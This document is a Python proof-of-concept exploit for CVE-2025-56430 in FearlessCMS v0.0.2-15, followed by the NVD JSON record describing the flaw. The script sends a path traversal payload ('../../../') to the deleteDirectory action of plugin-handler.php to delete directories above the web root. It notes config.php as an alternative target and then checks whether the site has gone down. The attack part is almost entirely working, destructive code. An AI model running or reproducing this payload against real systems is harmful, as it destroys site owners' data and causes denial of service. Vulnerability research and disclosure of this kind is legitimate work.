CVE-2025-56430

import requests import urllib.parse # CVE-2025-56430 PoC - FearlessCMS Directory Traversal DoS # Target: FearlessCMS v.0.0.2-15 # Vulnerability: plugin-handler.php deleteDirectory function TARGET_URL = "http://target.com/plugin-handler.php" def exploit_directory_traversal(): """ Exploit directory traversal in FearlessCMS plugin-handler.php The deleteDirectory function does not properly validate path input, allowing attackers to delete arbitrary directories via path traversal. """ # Payload to delete parent directory using path traversal # This will attempt to delete the parent directory of the web root traversal_payload = "../../../" # Alternative: Delete specific critical files # config_payload = "../../config.php" params = { 'action': 'deleteDirectory', 'path': traversal_payload } try: print(f"[*] Sending exploit request to {TARGET_URL}") print(f"[*] Payload: {traversal_payload}") # GET request (may vary based on implementation) response = requests.get(TARGET_URL, params=params, timeout=10) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text[:500]}") if response.status_code == 200: print("[+] Exploit sent successfully - Directory deletion triggered") else: print("[-] Exploit may have failed - Check manually") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") def post_exploitation_check(): """ Check if the web application is still accessible """ check_urls = [ "http://target.com/index.php", "http://target.com/admin/", "http://target.com/" ] for url in check_urls: try: response = requests.get(url, timeout=5) print(f"[*] {url} - Status: {response.status_code}") except: print(f"[!] {url} - Unreachable (DoS successful)") if __name__ == "__main__": print("=" * 60) print("CVE-2025-56430 PoC - FearlessCMS Directory Traversal") print("=" * 60) exploit_directory_traversal() print("\n[*] Checking application availability...") post_exploitation_check()

{"cve": {"id": "CVE-2025-56430", "sourceIdentifier": "[email protected]", "published": "2025-12-10T19:16:14.227", "lastModified": "2025-12-18T20:16:02.990", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Directory Traversal vulnerability in Fearless Geek Media FearlessCMS v.0.0.2-15 allows a remote attacker to cause a denial of service via the plugin-handler.php and the deleteDirectory function."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fearlessgeekmedia:fearlesscms:0.0.2-15:*:*:*:*:*:*:*", "matchCriteriaId": "B0B297A2-30E7-4B05-9DC1-E81B9B163229"}]}]}], "references": [{"url": "https://github.com/fearlessgeekmedia/FearlessCMS/issues/36", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking"]}, {"url": "https://github.com/fearlessgeekmedia/FearlessCMS/issues/36", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Issue Tracking"]}]}}